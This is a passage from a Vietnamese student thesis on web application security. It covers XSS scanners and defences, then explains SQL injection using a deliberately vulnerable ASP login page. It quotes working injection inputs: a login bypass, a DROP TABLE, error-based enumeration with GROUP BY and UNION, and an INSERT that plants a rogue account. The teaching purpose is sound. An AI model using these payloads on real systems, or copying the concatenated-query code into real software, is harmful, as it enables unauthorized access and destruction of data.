chứa các thông tin về bảo mật nh securityfocus.com, securiteam.com,... Tuy
nhiên nếu các website đợc tự viết mã nguồn thì chúng ta không thể áp dụng phơng pháp trên. Trong trờng hợp này ta cần đến các chơng trình scanner tự động.
Nếu sử dụng trong môi trờng Windows chúng ta có thể dùng N-Stealth hay
AppScan, đó là những chơng trình scan khá tuyệt, ta không chỉ kiểm tra đợc các
lỗi XSS mà nó còn cho phép ta kiểm tra các lỗi khác trong Website đó, Server
đó.
Tất nhiên không phải lúc nào chúng ta cũng cần kiểm tra tất cả, nếu nh chỉ
muốn kiểm tra các lỗi XSS có trong website, chỉ cần sử dụng screamingCSS. Đó
là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm
tra các lỗi XSS và có thể sử dụng nó trong cả môi trờng Unix lẫn Windows.
2.4. Cách phòng chống.
Với những dữ liệu, thông tin nhập của ngời dùng, ngời thiết kết ứng dụng
Web cần phải thực hiện vài bớc cơ bản sau:

o Tạo ra danh sách những thẻ HTML đợc phép sử dụng.
o Xóa bỏ thẻ <script>
o Lọc ra bất kì một đoạn mà JavaScript/Java/VBScript/ActiveX/Flash
Related nào.
o Lọc dấu nháy đơn hay kép
o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null
khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do
ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này).
o Xóa những kĩ tự >, <
o Vẫn cho phép nhập những kí tự đặc biệt nhng sẽ đợc mã hóa theo
chuẩn riêng.
Sinh viên thực hiện:

Trần Văn Quế

19


Đồ án tốt nghiệp
web

Nghiên cứu một số vấn đề bảo mật ứng dụng

Đối với ngời dùng, cần cấu hình lại trình duyệt để nhắc nhở ngời dùng có
cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức
độ tin cậy mà ngời dùng sẽ quyết định.

Nhận xét:
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại
chỉ dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay

form lừa đảo mà hacker đa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm
tra tính đúng đắn của dữ liệu trớc khi sử dụng thì việc cần nhất là ngời dùng nên
cảnh giác trớc khi bớc vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác
của ngời dùng thì 90% đã đạt đợc sự bảo mật trong kĩ thuật này.
3. CHèN CÂU TRUY VấN SQL (SQL INJECTION)
3.1. Khái niệm SQL Injection
SQL injection là cách lợi dụng những lỗ hổng trong qúa trình lập trình web về
phần truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL server
mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác nh Oracle, MS
Access hay IBM DB2. Khi Hacker gửi những dữ liệu( thông qua các form), ứng
dụng web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những
thông báo lỗi có liên quan đến cơ sở dữ liệu. Và nhờ những thông tin này mà
Hacker biết đợc nội dung cơ sở dữ liệu và từ đó có thể điều khiển toàn bộ hệ
thống ứng dụng.
3.2. Các cách tấn công
Để trình bày tốt nội dung này, đồ án sử dụng bảng Taikhoan
STT
1
2
3
4

Tên trờng
Id
Username
Password
quyen

Kiểu trờng
char

Char
Char
Int

Kích thớc
4
40
40
4

Ngôn ngữ lập trình sử dụng để minh họa là ASP với cơ sở dữ liệu là SQL
3.2.1 Kĩ thuật tấn công vợt qua kiểm tra đăng nhập
Sinh viên thực hiện:

Trần Văn Quế

20


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Với dạng tấn công này, tin tặc có thể dễ dàng vợt qua các trang đăng nhập nhờ
vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Xét một ví dụ điển hình, thông thờng để cho phép ngời dùng truy cập vào các
trang web đợc bảo mật, hệ thống thờng xây dựng trang đăng nhập để yêu cầu ngời dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi ngời dùng nhập
thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay
không để quyết định cho phép hay từ chối thực hiện tiếp theo.
Ví dụ: Trang ASP xử lí dữ liệu ngời dùng đăng nhập có đoạn mã xử lí dữ liệu nh
sau:

<!--#include file= ..\data\connection.txt-->
<%
session("login")=""
session("username")=""
session("quyen")=""
'lấy username và password của ngời dùng nhập
username=trim(request("username"))
password=trim(request("password"))
'Thiết lập lệnh SQL kiểm tra so khớp username và password trong bảng dữ liệu
sqlStr="SELECT * FROM taikhoan WHERE username='"+username+"'
AND password='"+password+"'"
rs.open sqlStr,conn
'Nếu tìm thấy mẩu tin có trong bảng dữ liệu
if not rs.eof then
'Bật cờ thông báo qua trình đăng nhập thành công
session("login")="true"
session("username")=request("username")
session("quyen")=rs("quyen")
end if
rs.close
' hớng ngời dùng đến trang quản trị xem dữ liệu( mặc định là trang đăng nhâp)
Sinh viên thực hiện:

Trần Văn Quế

21


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng

web
if session("login")="true" then response.Redirect "admin.asp" end if
%>
Đoạn mã trên kiểm tra chuỗi nhập Username và Password, nếu tồn tại trong
bảng User thì cho phép đăng nhập và ngợc lại. Thoạt nhìn, đoạn mã dờng nh
không chứa bất cứ một lỗ hổng về an toàn nào. Ngời dùng không thể đăng nhập
mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự
không an toàn và là tiền đề cho một lỗi SQL injection. Đặc biệt, chỗ sơ hở nằm ở
chỗ dữ liệu nhập vào là từ ngời dùng để xây dựng trực tiếp câu lệnh SQL. Chính
điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn để thực
hiện.
Ví dụ 1:
Giá trị nhập vào là:
Username: or=
Password : or=
Lúc này câu lệnh SQL nh sau:
SELECT * FROM Taikhoan WHERE Username='OR=' AND
Password='OR'= ;
Câu truy vấn trên là luôn luôn đúng vi luôn bằng và sẽ trả về tất cả các bản
ghi của Taikhoan và đoạn mã tiếp theo xử lí ngời dùng đăng nhập bất hợp pháp
này nh là ngời dùng đăng nhập hợp lệ.
Kết hợp với kí tự đặc biệt của SQL:
Kí tự ;: đánh dấu kết thúc 1 câu truy vấn
Kí tự --: ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng.
Ví dụ 2:
Username: ; drop table Taikhoan-Sinh viên thực hiện:

Trần Văn Quế

22



Đồ án tốt nghiệp
web
Password:

Nghiên cứu một số vấn đề bảo mật ứng dụng

Câu lệnh SQL lúc này nh sau:
SELECT * FROM Taikhoan WHERE Username=';drop table Taikhoan -- AND
Password=;
Với câu lệnh trên thì bảng Taikhoan sẽ bị xóa hoàn toàn.
Nếu nh ta đã biết một tên User nào đó thì có thể nhập vào:
đối với ngôn ngữ truy vấn SQL thì việc sử dụng dấu - - thì tất cả những vế sau
dấu này đều là phần chú thích( ẩn) không đợc thực hiện, vì thế dới đây chúng ta
tiến hành thử đăng nhập với username và không nhập password.
Username: admin-Password:
Câu lệnh SQL lúc này nh sau:
SELECT * FROM Taikhoan WHERE Username='admin-- AND Password= ;
Câu lệnh trên cho phép đăng nhập với quyền của admin đó mà không đòi hỏi
password
3.2.2. Tấn công dựa vào câu lệnh SELECT
Ngoài kĩ thuật đơn giản trên, việc tấn công thờng dựa trên những thông báo lỗi
để lấy thông tin về bảng cũng nh những trờng trong bảng. Để làm đợc điều này,
cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù
hợp.
Câu truy vấn cần để đăng nhập:

Sinh viên thực hiện:


Trần Văn Quế

23


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
SQL="SELECT * FROM taikhoan WHERE username='"+username+"' AND
password='"+password+"'"
Đầu tiên, để biết tên bảng và tên trờng mà câu truy vấn sử dụng, sử dụng câu
điều kiện having, nh ví dụ sau:
Giá trị nhập vào:
Username : having 1=1-Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'taikhoan.Id' is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause.
Nhờ vào lỗi phát sinh này mà biết đợc bảng sử dụng trong câu truy vấn là
Taikhoan và trong bảng tồn tại một trờng tên là Id
Sau đó sử dụng GROUP BY:
Username :group by User.Id having 1=1-Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'taikhoan.username' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
Nh vậy username là một trờng đợc sử dụng trong bảng taikhoan và tham gia vào
câu truy vấn.
Tiếp tục sử dụng GROUP BY:
Sinh viên thực hiện:

Trần Văn Quế


24


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Username: group by taikhoan.Id,taikhoan.username having 1=1-Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'taikhoan.password' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
Nh vậy password là một trờng đợc sử dụng trong bảng taikhoan và tham gia vào
câu truy vấn.
Tiếp tục dùng GROUP BY cho đến khi biết đợc tất cả các trờng trong bảng User
tham gia vào câu truy vấn.Khi không còn báo lỗi cú pháp GROUP BY nữa thì
chuyển qua công đoạn kiểm tra kiểu của từng trờng trong bảng. Lúc này UNION
đợc sử dụng:
Username: union select sum(Id) from Taikhoan -Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu
số. Nếu đối số không là kiểu số thì phát sinh lỗi nh sau:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
The sum or average aggregate operation cannot take a char data type as an
argument.
Nh vậy với thông điệp lỗi nh trên thì trờng Id chắc chắn phải là kiểu char.
Với phơng pháp trên, dễ dàng xác định đợc kiểu của từng trờng trong bảng. Sau
khi đã nhận đầy đủ thông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng
Taikhoan.
Username: ';INSERT INTO Taikhoan VALUES (100,'hacker','',1)-Sinh viên thực hiện:

Trần Văn Quế


25


×